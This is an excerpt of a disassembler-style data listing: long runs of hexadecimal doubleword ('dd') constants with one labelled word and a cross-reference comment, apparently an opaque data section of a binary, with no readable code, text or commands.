		dd 3F5414EEh, 86B9AA06h, 60633Eh, 0AECFC102h, 4C915BB8h
		dd 9C0064B8h, 0F12D8E11h, 0C14E8C5h, 5A41F2EDh,	0B8A8F630h
		dd 60807E55h, 92DA0C94h, 5B9802C3h, 0D0F28013h,	0E12A000h
		dd 0E67361h, 2DA226C1h,	0A3BB1159h, 0F4845550h,	80E7583Ah
		dd 1B64D344h, 16743DAEh, 13459h, 389FAA01h, 8BF60681h
		dd 0EDD75000h, 577BBC90h, 0B22D3E92h, 0EB8AE0CAh, 6684321Fh
		dd 1E75FF40h, 38BA82A9h, 50006497h, 25ECD98h, 0C9036E79h
		dd 39354869h, 30911DB6h, 42958725h, 0FBBDC01Dh,	0A7004857h
		dd 0D0A33671h, 0E651524Fh, 0A8A202D1h, 0A5CCFD5Eh, 2E0B6B60h
		dd 0FAAF0C0Fh, 0F0108078h, 563F4Dh, 9FC9051Fh, 0CB0AEAF4h
		dd 3E527F00h, 59C7CA09h, 5E1A0057h, 253458C9h, 0B200D016h
		dd 806593E5h, 0ABF1CDh,	6418C6F9h, 0DAB966E4h, 888EF301h
		dd 11576D26h, 6756ECh, 0A87B0752h, 9B169ECCh, 0D02F4Ch
		dd 15FB6129h, 49450B38h, 0EC0F4093h, 5800B9DEh,	867DE5F1h
		dd 68E71B01h, 6F2DF609h, 3132EC40h, 0D6440017h,	7A4AD5ADh
		dd 0E0083FFh, 3EF4A66Bh, 28B0C71Ch, 18C312B2h, 367B053Bh
		dd 69765939h, 346C5800h, 70EE54D0h, 0AE6A2441h,	0BE8A8048h
		dd 0E4E9B792h, 58271507h, 3E945270h, 0FD381C1h,	97003432h
		dd 0E7AAD94h, 0A63CDCF0h, 3D43808Ch, 698B0A61h,	447B092Ch
		dd 4087BD7Ah, 31C1E115h, 1FE43013h, 3F20D171h, 36374A7h
		dd 0CFDDEF65h, 57E02351h, 777B9B09h, 4D999400h,	6A0E3D84h
		dd 31950014h, 403FE1A9h, 0B14CE609h, 0D81900F4h, 0C33868B9h
		dd 4CEEE673h, 7104E46Ah, 30967B11h, 0E285D787h,	1B5C0039h
		dd 692A6536h, 0E008EA6h, 0ED0BA468h, 63E43h, 481D9F3h
		dd 0F8E3DF8Fh, 0DC0DAC39h, 0CB704CDh, 0F8C00651h, 8032E85Eh
		dd 7F00152Ch, 0C4729768h, 0EA0321h, 0F4F2FA9Dh,	7BF616A3h
		dd 93AB9E00h, 0F95C0FF1h, 0DB40C005h, 86F8F279h, 2F549A00h
		dd 2164D47Ch, 3373D7h, 0A8501C4Eh, 0C072D304h, 5D134800h
		dd 91E7D1Fh, 359C0006h,	87C5BC7Ch, 16486D10h, 0BD9700ECh
		dd 0AE304928h, 48F263FFh, 0D4E038DCh, 512F4AA4h, 0C55070h
		dd 41245BF7h, 0CDADD76Eh, 0F0C8DB02h, 0E0C411D2h, 449E1Ah
		dd 782D819Fh, 0B46242ADh, 4CF4D600h, 0BC6CECA5h, 0F69E00B2h
		dd 0AAE78C1h, 74508A5Ch, 695CE188h, 79D8C0ECh, 1DAE400Dh
		dd 0C099F057h, 0F61B41DAh, 0E0001558h, 78F70E25h, 0E3B03167h
		dd 0A07050E9h, 1FB77E4Fh, 9CDB9566h, 443FC11Eh,	0C48DB9CFh
		dd 0F9F0C19Ch, 0AFCDDE00h, 0B7B5D831h, 0AD920054h, 7FBD3DACh
		dd 1307DC15h, 6949C780h, 0CF7DE1F0h, 268900B1h,	2F60DA70h
		dd 0E40767E7h, 433EF6A3h, 9ECA0600h, 9B4E4D9h, 0B08E23Ah
		dd 95B898A0h, 1F3BAD07h, 87A98089h, 74B10A11h, 0EFCF1EBFh
		dd 2F19CFD6h, 348A660h,	2D017B88h, 0FC4C75E9h, 55E8A06Bh
		dd 6FB022h, 2CA4D768h, 9C837B82h, 2F8CF60Eh, 7CC57E1Bh
		dd 801D70BBh, 0DAACE983h, 0B88DB817h, 9F82188Eh, 1CFAB9F2h
		dd 5B28D560h, 89FE7Ah, 0D0E61672h, 0E39714E5h, 64AF59h
		dd 3205A538h, 28CF124h,	13C20373h, 6048924Ch, 7826CB8Fh
		dd 24970407h, 20BB5449h, 53B63524h, 0B86C5874h,	19D41700h
		dd 0DBB43E70h, 0E60015F0h, 35C0BD9h, 0F8F8D5A0h, 8B351626h
		dd 32CD0191h, 30F9484Ch, 5C062FB8h, 0F8986816h,	0BFB70010h
		dd 0FEFB6695h, 8300F4FCh, 7CB23385h, 0C42312h, 5C685BC6h
		dd 0A4191A94h, 9D846A0Ah, 0EB05C803h, 0A4D09E2Dh, 1F3169Ah
		dd 7591E8B2h, 0E81F1835h, 0D2134E59h, 6440A422h, 3F6C2A7h
		dd 5E1009Ch, 3119EF01h,	0AB09CF72h, 8F731671h, 5AF9411Ch
		dd 9C7056ADh, 0D9BE0089h, 0D08DD5F0h, 67172B4Bh, 0B7F82FA6h
		dd 4A33A70Bh, 0B77E6880h, 84004F70h, 4985640h, 0BBA778Ah
		dd 230328FAh, 7ED0108Ch, 0B9747B1Ch, 6E3EDC0h, 2F658E24h
		dd 38F8151Ch, 27C9EC0Fh, 0E8E1622Ch, 36D080F4h,	3B91DBADh
		dd 1500A54Eh, 3DFE9CD4h, 2EC0D77Ch, 5020B6F1h, 0EED113CFh
		dd 0DEA440D0h, 0E32B4C7Fh, 0A78B9901h, 0FB7A918Ch, 6170AEF0h
		dd 859FA89Eh, 104734Ah,	7A8B0E78h, 54D88A97h, 0D9E50146h
		dd 5CAFFCCBh, 0A1F8D708h, 1B241445h, 2F11F43Ah,	6F01970Fh
		dd 0B638C8B5h, 40232192h, 0FAED128h, 0C001752h,	0F67A1FCEh
		dd 0F12F2E20h, 906B4330h, 98E9072Ch, 0F97A8D4h,	8B4E07F2h
		dd 4730D726h, 0A0505090h, 88011A9Ah, 67ADDE07h,	0D720E4FDh
		dd 988CB0BBh, 6C120CD1h, 0F310AA90h, 6D956F00h,	9B6B0497h
		dd 0BC4D00E3h, 2CB17F2Bh, 29C09607h, 90B479C9h,	99DB4CABh
		dd 0C0116448h, 620C004Eh, 0F4A94640h, 7BD92E2Fh, 70E70BD0h
		dd 7757E000h, 0F600E4D0h, 1ED0804h, 3394ACh, 6AE38373h
		dd 0AD146686h, 88ACFE5Ah, 1AC1626h, 21D8B6D9h, 2D11801Fh
		dd 6BD4D2ACh, 381B81Ch,	8772F965h, 0C78897CFh, 0F0B8F5DFh
		dd 0D8EE0324h, 6C304996h, 0FD989D7h, 7637B383h,	4052E1A5h
		dd 0F95575BCh, 440F51FFh, 0C09B947Dh, 0B1343FF3h, 2420F3Ah
		dd 1A374C9h, 4FC0C477h,	0D09DDB0h, 80CF5429h, 0E6EBE2EFh
		dd 493E4C13h, 0AF9C6E00h, 0E3629B4Eh, 3B147A5Ch, 6C668046h
		dd 0FDE7B6EEh, 5090F4h,	0CBECB405h, 4EE872E5h, 2C715000h
		dd 4FE09174h, 239600C0h, 54C2C444h, 1E3B751Bh, 5AAE00E2h
		dd 9BE73387h, 0FA2D705Fh, 0BFF31CA6h, 0C1E28046h, 0E8DBDEAEh
		dd 55982201h, 23713028h, 5B5FD440h, 0D8530062h,	52E79DE3h
		dd 0CCF6348Bh, 8DBFA900h, 81D6D1E9h, 0B8C0240Fh, 0AAB340A4h
		dd 0D900734Ah, 4E8BAEEFh, 941EC0Fh, 76DABC40h, 0D77D0880h
		dd 2407ACFEh, 0B592EE5Bh, 0FFA0C597h, 9ECE2CFh,	0A4DC4C0Ah
		dd 0A19B7C00h, 5254B5D1h, 0C55C4AD0h, 0AE3A0002h, 2F5FFB9Fh
		dd 0FA400571h, 432DEAEEh
		dd 6E2709D4h, 3489CEB8h, 0A2F0A1h, 55FC93h, 0D6EC5F68h
		dd 0B448751Eh, 80E1E300h, 23409F96h, 0ABF40CEBh, 28383544h
		dd 316679C2h, 0B0D86B51h, 7D9149B3h, 187B0199h,	13334D2Fh
		dd 0D0256077h, 2632F600h, 566B6FD7h, 8F0F1E83h,	4800E769h
		dd 0C3955C89h, 0D8584Ch, 9E6AD19Ch, 1FAA8F6Bh, 405A04E3h
		dd 4FEA8738h, 0DE001E74h, 8685F9F5h, 7A772C23h,	420B1FC7h
		dd 36EB0046h, 0B235DF87h, 87B1F00h, 0C8973482h,	375E1318h
		dd 6990C01Ah, 0C9015F78h, 85424ACAh, 0DF306468h, 7A33001Bh
		dd 1DEC3A7Ch, 0EBF449CBh, 30826D00h, 5AC8D366h,	593C01E0h
		dd 0F0DBE26Eh, 2D986420h, 0BBE6B000h, 0BC275B88h, 394F01F5h
		dd 0FC407B10h, 0E85AD8EBh, 0D236B700h, 200349F4h, 51421897h
		dd 3C909811h, 0D8B46E00h, 1413AA2Fh, 682B04DAh,	802E8A4Bh
		dd 209C9F40h, 240016FAh, 0CB94A75Eh, 60C1FF5h, 224D7EE9h
		dd 38015268h, 8CE50B80h, 3C2C93D6h, 24193300h, 368E4B6Dh
		dd 99EAC38h, 629AFAh, 0BF14BD40h, 697F005Fh, 0A5DCCE2Ch
		dd 18162889h, 671ED2F5h, 138EC2C0h, 43C4FFBh, 0D783E2Dh
		dd 0A3EAC0B4h, 0FC002ACDh, 119BAA21h, 6B7B18h, 29CBC3E1h
		dd 4D1B71D7h, 0ED12C0A1h, 2032CD72h, 0D01C7400h, 0A3813458h
		dd 0FF672CB8h, 454320h,	0D2BA7546h, 0E2BDA7E1h,	356D4E1Dh
		dd 8F898B04h, 0F7B36090h, 0E0AE00C8h, 0B1FC0A94h, 1A0959FBh
		dd 83A81DC3h, 0F022068Ch, 929FD09h, 0B7C881D2h,	2F722820h
		dd 9C00FF76h, 215DFBD8h, 7CAB56h, 0D5663FEAh, 55699FCDh
		dd 0F0BC2D50h, 48009CB8h, 5F80A070h, 0F120F1Dh,	9A60AF91h
		dd 0D310A580h, 440BF9ACh, 2E39C7Ah, 421A4041h, 4A1240D8h
		dd 83AA0043h, 3B6CB511h, 2800FF01h, 8DF229F5h, 1EE30BB1h
		dd 3AA531B0h, 4E229900h, 0C40A9C75h, 0B350217Eh, 0AD00429Eh
		dd 4F2E1E6Ah, 0FCC76030h, 0C18712C6h, 0E0CC8243h, 98213511h
		dd 0DE01C428h, 0D09EDFFh, 4F67DC23h, 29030D90h,	96117C0Ah
		dd 2FC2F09Ah, 9CB85094h, 589B0047h, 7B0C14FCh, 4107D41Eh
		dd 54C3C5D6h, 94FF8727h, 7232168Ch, 0CCB2EC00h,	26387410h
		dd 1E0845EEh, 5EB9C071h, 92908124h, 7AD6660Fh, 0E0118E48h
		dd 0F8549B75h, 5D044832h, 13EA1204h, 2EBCF027h,	2DB41600h
		dd 0D64D352h, 0EFE100DDh, 1184CB85h, 260227FEh,	23AC081Fh
		dd 0C82043C5h, 28C63Ch,	65A21AC9h, 9E960259h, 0EE9D1D00h
		dd 4D64EA8Dh, 9F580F1Bh, 1EEF7EE0h, 21D69C81h, 6070D44Eh
		dd 0E949ED00h, 0A46EA826h, 0E0A10028h, 8F2D3042h, 5601FA76h
		dd 7E29111Ch, 3C781833h, 0A4A36000h, 0F2D8B0AEh, 0C52DA601h
		dd 2ED37DAh, 2DCC6DCh, 744B27BFh, 90701C2Bh, 0C405A5Bh
		dd 6E93169h, 0F1720061h, 0C838BAFh, 0D70E59C6h,	96CE82D4h
		dd 0B93238D0h, 5F8E5C90h, 40AC3E01h, 714F9E6Bh,	7085DDB6h
		dd 8A01ABB4h, 54F49F6Eh, 0FC3498BBh, 0AE9600A7h, 835DD516h
		dd 0AC0E9309h, 125A80D1h, 241AA026h, 40F9954h, 0C3AF602Fh
		dd 0E9909666h, 4C028E29h, 650C747Ah, 4E38C052h,	6C70ED58h
		dd 5E38000Bh, 9BCA796Dh, 0B700256Ah, 0E0A35D2Dh, 0B3B0AD1h
		dd 0B961D6F0h, 7EE5698Eh, 1A58A03Ch, 0CFAA6C0Dh, 1C64A9FCh
		dd 0FDD707ABh, 700ADDF7h, 5E08EDA1h, 0C400EF74h, 0F054A5E6h
		dd 28E25A79h, 0EC674Bh,	381906D8h, 0BD8B1462h, 0F53A4803h
		dd 0C0B6346Bh, 47328ACh, 0E2FC6771h, 9E04C018h,	0C802760Fh
		dd 116F2398h, 8B434045h, 93DA023Fh, 8AEACEECh, 90048E6h
		dd 86D4FD4Bh, 0C4C8AFh,	0EA2899D0h, 0DA7ADB35h,	7B456900h
		dd 0BA71E3A7h, 9549002Eh, 4F889A08h, 0F00039C3h, 2832A2EBh
		dd 3038611h, 0E7F56B8Ah, 9B0DD17h, 96282E7Eh, 820EB357h
		dd 22E40ADBh, 50940301h, 88830080h, 2FFA0EC4h, 0C900C3B2h
		dd 173BE9B7h, 2CB97445h, 12E457h, 0D177B433h, 7590C1C8h
		dd 2F46260Eh, 0B77900C5h, 41988DAh, 8ED614A3h, 0D1FCC005h
		dd 975CDB30h, 10EC053Ch, 0C8476050h, 90A0112Bh,	2AF8757h
		dd 66E402B8h, 34C04ADDh, 0A90099E3h, 0CDFE6770h, 5CB8E1E0h
		dd 0BB26174Fh, 0DF240000h, 388A489Bh, 9A69C100h, 2DA759A4h
		dd 0C3AE3E3Bh, 1B85C24h, 9F1AA8D8h, 0E1A94363h,	1D2A5B90h
		dd 0F2BF2600h, 0A52B3A44h, 7D8302BEh, 6986C86h,	0EA9733E0h
		dd 0CE90C900h, 8BB8B2B0h, 2F090092h, 0DBE6233h,	2D51DFF0h
		dd 1A70C8A9h, 0F42A6E00h, 8EFA268Dh, 0D8900B0h,	297A4ABAh
		dd 45FC0807h, 0F8F058h,	5A51129Fh, 77D84CEh, 0DC1C58C4h
		dd 9D8310EEh, 3D00CF22h, 986DB409h, 1D32D5BFh, 0C04785E4h
		dd 4A2D9AA8h, 1F03E62Fh, 0C43A376Ah, 75B5E07Eh,	26C030Dh
		dd 0A1FB24B3h, 0F477D6C0h, 0CAB1762Ch, 0C72B4107h, 0F8119CA0h
		dd 17E45h, 5FB4D0Bh, 8E50F9CAh,	0E2688600h, 4AC07D82h
		dd 0ABEABAh, 0BF835A97h, 0E5D88B60h, 21B17CB6h,	18BB14A8h
		dd 0E2449Dh, 0FDCB3DA3h, 349E467Ch, 1040C513h, 85F4B412h
		dd 83A10077h, 0C9ABB679h, 45000BD0h, 0BA2C90FEh, 7BB3FD8Fh
		dd 0B8A7017Ch, 0CEDAA9E5h, 6F0EC8EFh, 83C96400h, 0B9080953h
		dd 0B44600C5h, 0A350E58Eh, 85006FC8h, 0E4CA626Eh, 5F458959h
		dd 0ED3C4065h, 4EFDF42Bh, 0BAF4B27h, 314B009Ch,	13D27B0h
		dd 64515063h, 0CC395B86h, 0E20176D6h, 2CA47DEBh, 0B870848Ch
		dd 5D4500BDh, 9B3FDF0Ch, 8600C8C3h, 5E37B85Fh, 707C3DADh
		dd 2DC92E53h, 4F68048h,	4119EC6Eh, 0CC747F7Ah, 0C94DAD00h
		dd 6F7DD427h, 6B510F96h, 3E60E1C5h, 8F0FED90h, 0DDB7E03h
		dd 0F0D3FC07h, 7E7CE5Ch, 0BAC74352h, 44B62750h,	0A5ECB033h
		dd 0E4946800h, 0A02E5669h, 85BB4C6Ch, 850C5C00h, 1E474AFEh
		dd 96A32500h, 65ABE06Dh, 87CB02F8h, 0C05AC836h,	0FA51C4C0h
		dd 0E6A7D500h, 5E35D242h, 3A4CBA74h, 0F5A5BA32h, 6167D88Fh
		dd 7BC6934Dh, 98A3B3A3h, 80F4C3B9h, 2EDA6021h, 1882DF0h
		dd 86DD8D76h, 7031E2B2h, 451C8EA8h, 79C0B489h, 0D8C83B54h
		dd 720A0117h, 4DC36F93h, 0CCAC71DAh, 0AAE2E399h, 0BA766400h
		dd 2FA23D2Ch, 0BB873EA6h, 7794DCh, 0ED4F964Ah, 0FC5F37DEh
		dd 5EB4AA06h, 0B92EC1h,	0B3D56ED2h, 0F0F56F2Dh,	0DD892Fh
		dd 0C2DE13C4h, 0BD94018Ah, 2A63A586h, 5E02D883h, 11A43531h
		dd 89F81762h, 3FB5FC78h, 0D5A4AC66h, 78CE14EAh,	7D95007Bh
		dd 0C16F4C2Bh, 24E4DA9Ah, 7FB20400h, 69EFF219h,	287200E8h
		dd 8DB797E1h, 0D6099AD9h, 8FA6EDBCh, 0A0506F87h, 0FD709245h
		dd 0A73C009Ch, 9A522F80h, 0A200B320h, 4C4FA87Ah, 0E0C472h
		dd 924E7E56h, 0CD338F83h, 77EC2A00h, 0D558E4CEh, 28778Ah
		dd 7142F724h, 3B61CA31h, 0B7C7E600h, 151D366Dh,	0C3020089h
		dd 0EF9120E7h, 0BAE66431h, 0FF90DB00h, 79A709D9h, 22E303BFh
		dd 418B9FD4h, 8443E9C0h, 0AAD77C00h, 0E8E20E8h,	0D8320295h
		dd 282E37C0h, 0F61DACA0h, 8C00937Ah, 0D8BB7E70h, 245D0B2Ah
		dd 0F5CB07h, 0BA578804h, 0A02AFECh, 36DF6B13h, 5B98602Eh
		dd 0F9811F20h, 3B54EFF8h, 5980C501h, 2BC46619h,	0F29DF2F2h
		dd 0EC4C007Ch, 0C1290AAEh, 340047E3h, 0C672C257h, 7A9D4695h
		dd 5B988Bh, 4D9CDA2Fh, 0A354A12h, 0C0DCCB00h, 0E5BD0C53h
		dd 6AA1003Ah, 0F6DB7079h, 0CC1D5B32h, 0E64045BFh, 0C872C5E1h
		dd 518A1EA6h, 0DBC200A3h, 7A58A059h, 0D7006C78h, 0C3BB09CDh
		dd 0AB470E49h, 9732E280h
		dd 1D2EE104h, 0E9D4608Bh, 6DEB8500h, 0B3CFDDDFh, 0B17E0053h
		dd 249C6B06h, 4803192Eh, 84E91817h, 0BB2921E1h,	9DA5FD04h
		dd 44427504h, 9744DEF2h, 0B1234EA2h, 2228D128h,	8350931Ah
		dd 0A4454E14h, 611149F5h, 107F1294h, 9A40F603h,	0A6108489h
		dd 0EB216E42h, 7FF8223Ah, 567488A5h, 88B44788h,	0C188F733h
		dd 0BC258043h, 0C3002B7Eh, 5F9C0F15h, 0D2E82Ch,	0BE69FBB6h
		dd 0C52389E9h, 5D2AB802h, 584AD0C8h, 0AEFA1714h, 86848013h
		dd 0CA00F710h, 3D68853Ah, 7DC1E61h, 0C66C194Eh,	0E82B50A7h
		dd 0E500DF42h, 0E3D1553Fh, 0F6B8158h, 0EF058F34h, 2E7FED00h
		dd 1E0022B0h, 1723930Bh, 2E52DCFAh, 0F07B39h, 60D1E1E4h
		dd 37EC4DCAh, 0DEEA7A03h, 9252C3h, 30D70B11h, 0C2C89954h
		dd 0F6B6E812h, 3ED30840h, 0E6F217E6h, 0F86B0129h, 50840A61h
		dd 0B3B4280Dh, 660AD924h, 5CFBE0h, 7B321F51h, 0C43BEDC5h
		dd 0D743B013h, 621E2903h, 0BF5EF841h, 66EB27B7h, 0AC0B800Eh
		dd 0E7FCD04Ch, 0DC2D3D00h, 3C919339h, 5CE400ACh, 402E4921h
		dd 53072CCDh, 0C56AEB23h, 1A375870h, 15B500F5h,	4872185Ah
		dd 75079D02h, 0B20DA6A4h, 2B3459A0h, 0C37C008Eh, 5ED6692Ch
		dd 0B0A8A76Eh, 77805908h, 32223AA9h, 0ECCFF980h, 8D60267Bh
		dd 0B9D22100h, 966387B7h, 0CBEE98h, 0E4C268C4h,	0D6924D2Ah
		dd 0B0B84C03h, 0CA5D5232h, 9FF4C00Bh, 0C91E006Ah, 1A1DECE2h
		dd 8D001089h, 96985645h, 22080h, 0C16881C7h, 875C23A9h
		dd 5F0EED00h, 0E71B889Ah, 79E20070h, 219096F4h,	0DFEA0915h
		dd 5527BF01h, 46D3BD5Ah, 120C30h, 0CBEDA599h, 5E810810h
		dd 0C9518900h, 2315F3E7h, 6C48C37Eh, 4BC0265Ch,	8C009F76h
		dd 0EF38E16Bh, 671D6Fh,	46A2F8DBh, 423C297h, 563F6000h
		dd 9F25B893h, 91EC07F4h, 4944791Ah, 33667782h, 9B6CF7C0h
		dd 3D935A0Eh, 0C76587B0h, 221A8F90h, 4E5BFE8Ch,	0AAE000CFh
		dd 138329E9h, 9CDA4A61h, 0B3D85351h, 0DE60096h,	0AE4E21ADh
		dd 6C1E124Ch, 5603B768h, 0F8D4E942h, 211C0F8h, 2E313DE2h
		dd 5C40C24Bh, 4988BAA8h, 302B007Ah, 979E9BF9h, 6600AB22h
		dd 2E964CE0h, 137235Fh,	0D335ADD7h, 0D49826A6h,	0B100B41Dh
		dd 2ED117CFh, 34F5733h,	0D22A22B8h, 62833A32h, 55E5D803h
		dd 0B0D9EEF4h, 0C3EE7h,	7E50EC6Fh, 355B0DA5h, 0A8002090h
		dd 60BFBC5h, 643FFA9h, 0A11BF632h, 3A07D81Dh, 4C673814h
		dd 8D0A2090h, 8A6600E5h, 739B851Bh, 0DD049D62h,	5F4569D6h
		dd 5C0698E0h, 0AD0016B5h, 0CBF68FCFh, 71047CE0h, 8E0F5FA7h
		dd 3839D8C0h, 56C40147h, 239FCB10h, 5B28C83Fh, 70857600h
		dd 0D9FE622Dh, 9010001Ch, 0F5A9BD7Ah, 981DAEE4h, 0D1805692h
		dd 33FC2ACEh, 80D609F6h, 4C80538Ch, 6C8DA220h, 29D2AA03h
		dd 0D8080AA6h, 51E6D71Ch, 0E6308C5Ch, 0DE004h, 8233DD90h
		dd 365125C7h, 2B4DD102h, 5C26109Bh, 0D015C02Ch,	0B0001C7Dh
		dd 0B65D9806h, 301A476h, 88775923h, 0F8B83D8Dh,	4A00FE13h
		dd 0CB727E41h, 0B4870FC6h, 2E003C28h, 2915BCE1h, 84FAA004h
		dd 0E05B8E00h, 4C3B8BDCh, 0B7883F7Ah, 0E6159Ch,	9BB4148Ah
		dd 0DB00C1D5h, 0D8643962h, 14110h, 50128C47h, 0AC617E30h
		dd 6CAF9300h, 0B95AFD0Fh, 2C7822h, 250CAA68h, 1FFF43D9h
		dd 0FE67F18h, 8A9230h, 449234Bh, 0F6BEBA39h, 0D92C2E03h
		dd 0B09CE533h, 0D1763Bh, 644B4049h, 11EEE1DCh, 0F800C8B6h
		dd 11456ACh, 2FCBEh, 0E0461A99h, 6D95472h, 715A1903h, 0E00708ECh
		dd 2F9B26h, 47AA4E10h, 397B0F20h, 46DE0091h, 47420052h
		dd 331FA006h, 0DEF912AAh, 0EE820F44h, 40059CBh,	2D3B5C64h
		dd 0C1CCBB00h, 53CD74F9h, 2529EAACh, 10E6D87Bh,	0A3B8D100h
		dd 0F3217826h, 75E10106h, 90881EF1h, 7EA03B57h,	0E5FD027Dh
		dd 0E64A2B58h, 541FACC0h, 5AB17600h, 286D083Ah,	9AFD023Bh
		dd 0DCA89067h, 554729E0h, 24B0301h, 7F1AD5E6h, 391D9045h
		dd 0BC8A6F40h, 0E82AD0h, 14DB18EDh, 240BA65h, 9C025EFAh
		dd 1EB16882h, 0BDE86148h, 0E8058E0h, 528F4A19h,	49831560h
		dd 800252Bh, 78D475B1h,	0D5613Ah, 0E1B79DD2h, 0CC718610h
		dd 0D1DB8E00h, 2FDDB94Bh, 48908Bh, 8A58AE2Bh, 9835F9B1h
		dd 6D5DD526h, 0C7360603h, 735CE8B6h, 0FBA7005Ah, 302DDD55h
		dd 23EA8BFh, 80884EE1h,	37C0261Eh, 6139FA8h, 112B9FBDh
		dd 0D7D461Fh, 0C00FCBD2h, 0F39DC085h, 60E72F5Fh, 0FD6BE863h
		dd 761DA523h, 2D827224h, 82A1836Ch, 60394387h, 1C501CF8h
		dd 836460E9h, 772F07A6h, 0CC069DD8h, 9ADA2A00h,	4847A71Eh
		dd 0A46400D5h, 6D88A33Eh, 0B8027292h, 54448DB1h, 9054F7h
		dd 1101CD91h, 0F003B330h, 0BA95C8A7h, 0F58890C6h, 0DEAA1ED7h
		dd 2B1A803Ah, 8AB28F22h, 43A52100h, 1EE23F89h, 45821CF9h
		dd 28AFC04Eh, 99C74D9h,	0E0CC5500h, 0DAE94617h,	68801564h
		dd 0EF3F98A7h, 93ECC04Ah, 2500B70Ch, 832FA5FBh,	0B85D2E9Ah
		dd 0D2470008h, 553C50A9h, 0A4F4E506h, 0E31A7D00h, 7C3DFF09h
		dd 0BCC900FEh, 8A93904Eh, 0FB078B06h, 0DC2F04EDh, 1C45849h
		dd 420F1A53h, 708A78F8h, 75F002AFh, 0E9C88C00h,	71564083h
		dd 0CE370017h, 163B5A42h, 0DF00DDE4h, 7B8B452Fh, 14411Bh
		dd 27402555h, 0BDC17A9Ah, 0C7DEE100h, 34F45251h, 6748C089h
		dd 77B137BAh, 2E5CB00h,	37A1979h, 397371h, 99956896h, 98AB1E73h
		dd 0ADA4D000h, 4591B4E0h, 9BD80015h, 13C0E30Fh,	0AE00E86Fh
		dd 0E6F54F85h, 50F4B0h,	0BA5C3519h, 1C042E2Ch, 8BBF8000h
		dd 32E108AEh, 4D4E0993h, 5CFAC5B8h, 7BC8A39Fh, 1E45A85Bh
		dd 0B54000FCh, 0A95EB2DAh, 0EC0007EEh, 3F5C78ACh, 0AF1711h
		dd 842EEA37h, 0BF83D72h, 0AA5A1A00h, 0DAC8B1FCh, 74C600FFh
		dd 0EBE51C9Bh, 29039624h, 55CFB627h, 5A4FD048h,	8CB4030Dh
		dd 1BDE95Ch, 0A7EEC990h, 521B3800h, 0D9048935h,	0E3570068h
		dd 0B2777F74h, 0EDB856A2h, 0E77B1A03h, 6EEECh, 0BEB8DB78h
		dd 0DEA4152Ch, 499B6700h, 0CF57B7B5h, 770A008Ah, 0FDE9A242h
		dd 453A1929h, 86E49DF7h, 7D4E2400h, 3BBAE91h, 6C257182h
		dd 0FFE06237h, 0F100C7B6h, 66269899h, 0F226E2Dh, 0ED1B4C0Ah
		dd 45DF6C80h, 0D3000DE9h, 0DB10C1DEh, 0FC9F0736h, 1676BBh
		dd 9CFAFB38h, 32B38139h, 303F9A03h, 0E8997D56h,	3FD04DFh
		dd 93129E1Ah, 880101BCh, 0CED77867h, 26F0A256h,	0C8FA07C0h
		dd 90BFF90Dh, 355CEEB9h, 6C6FC100h, 120F424Dh, 6BF000E0h
		dd 0D25255BAh, 7E0053F9h, 58E74C69h, 1D75A59Dh,	47BDF3BEh
		dd 0C0276BB1h, 0FFC7241Eh, 0F9CD4501h, 1F790D4Ah, 0AD82C4h
		dd 0E4E16F63h, 6AD17DE8h, 59028500h, 8F07041Dh,	79530062h
		dd 95936FF0h, 0CC30F5F9h, 0C9E0214Dh, 0C571006Ah, 1347D834h
		dd 6101F9BAh, 0D3C0D617h, 9A20ABC7h, 6C7B0015h,	0DDCE4AC9h
		dd 5D00BA8Ch, 2989D207h, 0E078D0DCh, 28FE86h, 6F0E1036h
		dd 0E53407E2h, 80BD843Ch, 0CF5D13ACh, 7AB7498Bh, 0DBD700C2h
		dd 0EF89533Eh, 61C6F11h, 9187BA97h, 74307FA1h, 0B18502h
		dd 4525485Ch, 0A8F93DE6h, 8952F200h, 0B365492Dh, 7A200EA6h
		dd 0ACA159A4h, 0C402CE94h, 4F00645Ah, 35435C05h, 75E032h
		dd 935B1C8Ah, 0C1D14619h, 0C2B69600h, 5F3F0A8Fh, 6AAB00E8h
		dd 7225135Eh, 7B0FF603h, 0CB8643A1h, 297001Ch, 0DEC5C0h
		dd 0FD70B166h, 0CF1EA296h, 380D0800h, 52AE4967h, 4DC500ACh
		dd 0A28E27F5h, 7450EACDh, 500BFB4h, 78F9FAE5h, 3ADD259Ah
		dd 1A00E49Fh, 320A705Fh, 8BFA3442h, 8EACF950h, 0B5A3D41Eh
		dd 9112F200h, 0E569BA94h, 0D007E740h, 0E1CA0011h, 0AD713556h
		dd 2E0F4D3Dh, 0F25390C5h, 0FF0AE100h, 0E8B3BBh,	73203B82h
		dd 8E90C86Bh, 1503F3F8h, 5EFA702Bh, 427FC8F2h, 0E588C01Bh
		dd 6B22A06Dh, 0AEDB6100h, 7EAD42Ch, 3E41002Dh, 94F1DF33h
		dd 223C0EA0h, 0A31A0014h, 2C63078Bh, 59ACA105h,	328FF050h
		dd 817D1E44h, 87390E62h, 3A155118h, 0B3CC1903h,	0B992B6A8h
		dd 34C80988h, 22E5037Eh, 0E19D36C8h, 0FCAF53D8h, 0F5434200h
		dd 0B2D37365h, 0A85D50C7h, 501000DAh, 45BB3989h, 0E80FD018h
		dd 0C0417061h, 9EAC4C52h, 5670AAh, 0F1C5F068h, 0D569FBA1h
		dd 0BD3A5C00h
		db 0A4h, 9Ch
word_4D4152	dw 41A5h		; DATA XREF: ___:off_42E644o
		dd 7250162Eh, 0FAD00AFh, 64167F98h, 0E12B60Ch, 0C9C8AAh
		dd 17BF2BABh, 8AC3F0E3h, 0E8BFB48h, 423DF123h, 60619055h
		dd 0B3BC38h, 2D5DA419h,	0C6AD309h, 450EED77h, 40E15425h
		dd 9E46995Ch, 0F990C08Eh, 0A4FE77DAh, 0E82C48h,	0AAC12078h
		dd 0FA943841h, 33194CA8h, 0B80AD100h, 0B62A6E24h, 462C1E00h
		dd 607E6823h, 34500022h, 706701F2h, 0C00EB89Ah,	43EFAE44h
		dd 90C348E8h, 3D349Ch, 3C604A80h, 89BB6B58h, 0CB220812h
		dd 6CB72800h, 0E9B4EAh,	1187F124h, 4E5471D0h, 7C029A00h
		dd 2FB5B821h, 0B3641468h, 3F28F061h, 0E92B00ACh, 45E70C8Eh
		dd 0B574BE8Dh, 96F48F54h, 0AC84BC6Ah, 36014212h, 906E6C88h
		dd 18D8A825h, 0DFA00071h, 0EDF76B7Fh, 0B338A934h, 0F4C50131h
		dd 71E6D6Eh, 71687020h,	9A2602DAh, 0A2E1997h, 0D75B03E0h
		dd 5A2A2100h, 49C0EBACh, 56CD011Fh, 0FCC98213h,	5CFFD44Ah
		dd 24387000h, 7B65126Bh, 395D14B7h, 6700FC20h, 0B4C2F52Eh
